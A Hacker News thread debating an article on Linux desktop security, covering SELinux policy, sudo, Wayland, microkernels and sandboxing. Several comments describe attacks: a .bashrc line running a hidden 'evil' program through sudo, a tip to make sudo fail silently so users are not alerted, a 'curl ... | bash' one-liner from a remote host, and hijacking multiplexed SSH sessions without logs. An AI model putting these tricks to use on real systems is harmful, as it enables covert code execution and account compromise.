
Linux (In)Security - djsumdog
https://madaidans-insecurities.github.io/linux.html
======
stuzenz
I wonder if Redox (rust OS project) will take off one day.

A lot of the goals of the project seem to line up well with dealing with
issues noted in the post.

A huge endeavour of course - to build an OS from the ground up. I hope they
get there.

ref: [https://doc.redox-os.org/book/ch01-03-our-
goals.html?highlig...](https://doc.redox-os.org/book/ch01-03-our-
goals.html?highlight=security#our-goals)

"Redox is an attempt to make a complete, fully-functioning, general-purpose
operating system with a focus on safety, freedom, reliability, correctness,
and pragmatism.

We want to be able to use it, without obstructions, as an alternative to Linux
on our computers. It should be able to run most Linux programs with only
minimal modifications.

We're aiming towards a complete, safe Rust ecosystem. This is a design choice,
which hopefully improves correctness and security (see Why Rust).

We want to improve the security design when compared to other Unix-like
kernels by using safe defaults and disallowing insecure configurations where
possible."

------
totony
Agreed, Linux is way behind in kernel and userland hardening. Things are
slowly getting better, with some of grsec/PaX's features being merged upstream
[0] and X being slowly replaced by wayland (but it still has issues before
mass adoption). SELinux/Apparmor fix some issues, but their policies are not
restrictive enough (and when they are, they get disabled because they're too
user-unfriendly).

Android did a good job integrating SELinux in their ecosystem to provide some
sort of sandbox, I wish there were similar project for desktop Linux, but it
seems only Redhat cares about SELinux in the OSS world (and they don't seem to
have this kind of project in the works).

sudo is Linux's UAC, and I agree that it is insecure, but its use is optional
and with good selinux policies, you shouldn't be able to highjack it like in
the OP (unfortunately, there are no good, easy-to-use selinux policies)

Linux has too big an attack surface IMO and I wish microkernels like GNU/Hurd
or seL4 would become more popular, but, like most things in OSS, there are not
enough people interested.

[0]
[https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Pr...](https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project)

~~~
gizmo686
Much of my job is based on writing SELinux policy. The problem is that SELinux
is not well suited to the needs of a desktop environment. Consider a web
browser. Ideally, it should not be able to read any local files (except its
own). But sometimes, users want to use web browsers on local files; and
sometimes users want to save/download web resources to arbitrary locations, so
you end up needing to give browsers those permissions anyway.

Redhat's approach is a targeted policy. Users and user applications run in an
unconfined domain, while system and services run in a secured domain.

Android uses a similar approach where SELinux provides system level protection
(as well as application level isolation). However, the security model most
people (even Android app developers) are familiar with is not SELinux. The
difference between an app that has permission to use the microphone and one
that does not is not SELinux. It is implemented by a userspace security
manager.

I am not fammilar with Apparmor, but I do not see how any solution based on
the Linux kernel's security module system would be adequate. The type of
security needed for a desktop system requires a lot of userspace work.

~~~
totony
I've experience this too while writing policies, but firefox could open an
unconfined file manager which is like a "selinux setuid", where it asks the
user what to do and change the mcs level of a file until it is written
to/read. I don't think this is unsolvable.

Edit: actually, that file manager could pass an open fd to firefox, I'm not
sure how that would work policy-wise

~~~
totony
Or maybe a hook could be added to the kernel in the looks of "if mozilla_t is
denied access to user_home_t, execute /usr/bin/notify and if it returns 0
allow it for this time"

~~~
gizmo686
You can kind of do that already using SELinux booleans.

In policy, have something like:

    
    
      if (mozilla_read_user_home) {
        allow mozilla_t user_home_t:file read_file_perms;
      }
    

Then, firefox could execute /usr/bin/request_file_access user_home_t read

request_file_access could then be spawned in a privileged domain and:

1) Check the domain of the parent process and see that it is mozilla_t

2) Check whatever security policy it wants to implement (possibly by prompting
the user)

3) Assuming the access is allowed, set the mozilla_read_user_home variable to
true (and set a timer to disable it at some point in the future)

4) firefox then can open the file normally.

Keep in mind that denials actually happen quite frequently on many SELinux
systems, and policy is usualy written to not even log the expected ones. Any
hook that needs to run on every denial would likely introduce unacceptable
performance hits; particuarly if it needs to spawn another process.

------
sbrass
The author suggests that security has to be enforced by the system itself,
i.e. by the usage of an appropriate programming language, security tools (e.g.
sand-boxing, ...) and other. However, the author's comment fell short to honor
the history of the kernel development, specify user applicability and discuss
any improvements. I partly agree with the author, but "default" settings are a
very sensitive topic (why he doesn't provide any suggestions?) and hardly to
answer for every application scope.

I don't think that Linux is _more_ secure "than any other OS". First, we have
a wide variety of Linux desktops. Second, when required, experienced (!)
system administrators/business vendors invest a lot of time in order to get
their system secure. However, (unexperienced) "home users" are at
disadvantage, because of lack of knowledge. They would/will suffer from the
perception of an superior security notion of Linux. We have to get that right.
That's it.

------
rossvor
To give some context on the perspective this piece is written from, since the
article doesn't provide a disclaimer -- the author is a developer of Whonix.

------
thayne
But are windows or mac osx any better?

~~~
tptacek
On many of these items, yes. That's the premise of the post. It's not saying
"computer science could be so much better than Linux achieves". It's saying
Linux fails to achieve things that other systems do achieve.

~~~
thayne
I'm not an expert on windows or mac, but here's my run-down:

> There is no strong sandboxing in the standard desktop.

I don't know of any strong sandboxing in Windows or Mac OSX, but that could
just be my ignorance.

> Most programs are written in memory unsafe languages such as C or C++

This is true on windows and Mac as well (let's include objective-c in there).

> It is a monolithic kernel written entirely in a memory unsafe language

Also true of windows and Mac.

> has hundreds of bugs, many being security vulnerabilities, found each month.
> In fact, there are so many bugs being found in the kernel, developers can’t
> keep up which results in many of the bugs staying unfixed for a long time

I don't know enough to comment on this.

> a compromised non-root user account with access to sudo is almost equal to
> full root compromise

Is this any different on windows or mac? Mac has sudo as well, and on windows,
the main user is typically an administrator.

> X’s lack of GUI isolation

well, yeah. I don't know what the situation is like in windows and mac for
this. But one of wayland's design goals is to fix this (although it also
breaks things like screencasting...)

~~~
RcouF1uZ4gsC
> > It is a monolithic kernel written entirely in a memory unsafe language >
> Also true of windows and Mac.

I believe Windows is hybrid kernel not a monolithic one.

[https://en.m.wikipedia.org/wiki/Hybrid_kernel](https://en.m.wikipedia.org/wiki/Hybrid_kernel)

~~~
thayne
as I understand it, a hybrid kernel doesn't have a security advantage over a
monolithic kernel, because the drivers/modules are still running in kernel
space (as opposed to running in user-space in a true microkernel).

------
DmitryOlshansky
> Due to inevitable pedanticism, "Linux" in this article refers to a standard
> Linux or GNU/Linux distro.

I too sadly realize the dire need to post such disclaimers. Boy, these people
are boring sometimes...

------
abjKT26nO8
What is the point of wayland-keylogger[1] that is linked in the article? Do
Wayland compositors normally run under a different user account than the one
that logged in via the login manager? I see this as being an issue with full
filesystem (or just home) access given to applications, but I don't see how
LD_PRELOAD is the problem here. Yet the author of TFA seems to suggest that
this is the issue.

[1]: [https://github.com/Aishou/wayland-
keylogger](https://github.com/Aishou/wayland-keylogger)

------
commandlinefan
> the attacker can just setup their own fake sudo program to grab the user
> password.

I've thought about that vulnerability a lot using enterprise SSO apps: it
would be trivial for anybody inside a corporate firewall to set up, say, a
ticketing app that presented an SSO sign-in box, recorded whatever was input,
but responded to everything as success. An attacker could harvest a LOT of
passwords that way before being caught.

~~~
nielsole
That's why ideally you redirect people to the identity provider and teach
users never to enter their password elsewhere.

------
justaj
I wonder what the author thinks about grsecurity [0], and about the Kernel
Self Protection Project [1]

0: [https://www.grsecurity.net/](https://www.grsecurity.net/)

1:
[https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Pr...](https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project)

~~~
tptacek
The better comparison is to Qubes.

~~~
est31
Or Chrome OS. It's very different from the traditional GNU OS which allows it
to be more secure but also more restricting in user freedoms.

------
Mic92
Hardening a side for most users Linux distributions however offer a different
practical security advantage. While on Windows/macOS despite their apps stores
it is still quite common to download applications from shady websites while in
common Linux distributions most software comes from curated repositories.

------
inshadows
I've read through the author's blog recently it got posted here. Author refers
to many pseudo-weaknesses but does not accept that that's simply the current
state of things and there's work to be done to make it better. IOW, author
doesn't offer any alternative except implied use "Windows/Mac/Chrome because
they say it's secure". I'm all about software rants, but you have to approach
the problem from all sides instead of bitching like a teenager.

Let's evaluate this one:

> On ordinary desktops, a compromised non-root user account with access to
> sudo is almost equal to full root [...SNIP...]

So author here probably means access to sudo where the account has the right
to become root. Once someone compromises your account... well, that's it. The
rest of the text is just garbage, many things are taken completely out of
context. Once an attacker can run under your account she can just for instance
append 'sudo /bin/.doevilstuff' to your ~/.bashrc.

~~~
LinuxBender
be sure to add -n so that it silently fails (assuming you redirect output) and
does not alert the user. If they have a sudo token active, then it will
silently succeed.

Here is an example:

    
    
      curl -s https://ohblog.org/test.txt | bash
    

Read the test.txt file first of course.

~~~
inshadows
Why does sudo matter at all? If you run this curl it can literaly steal your
Firefox credentials, your photos, record your passwords, ...

~~~
LinuxBender
Absolutely true. I was just adding a more silent way to use sudo without being
detected. In fact, without sudo, I can still piggy-back on peoples SSH
connections if they don't disable multiplexing. As an added bonus, there are
no syslog entries when I ride that channel.

------
blackrock
When can microkernels finally become a reality?

The previous complaints was that it was always slower than a monolithic
kernel. But with all the multicores, memory, and SSD storage available today,
then at some point, the extra processing becomes irrelevant.

~~~
renox
\- Spectre's mitigation are probably extra painful for microkernels. \- AFAIK
the most secure microkernel is SeL4, but AFAIK it isn't proven for multiple
cores, and I wouldn't be surprised if (some) low-power settings of CPUs would
give him troubles.

~~~
AstralStorm
And ultimately none of the microkernels has a credible set of drivers for a
typical PC, much less verified ones.

Drivers are a huge hole, especially easily accessible ones like video due to
3D APIs.

------
greatgib
This article is a piece of crap.

It is not factual but playing on baseless fears. Like that something is unsafe
just because not made with last _hype_ language. Take go for example if
anything unexpected happen, this shit trigger an assert that crash everything.
Is it safe?

Like the sudo example is ridiculous: the command allows you to execute a
restricted command but it is not made to check your current environnement.

It is safe if you know the context you are using. But if you just arrive on
the screen of someone else ans it is asking for your password, sure it is
unsafe to type your password: maybe you are not even in a Real shell, maybe
all are just fake screen. For example, someone can create a rigged fake
webbrowser and within tell you to connect to your facebook. Then ssl check
marks does not help to ensure the safety. That is an user issue and not a
platform issue!

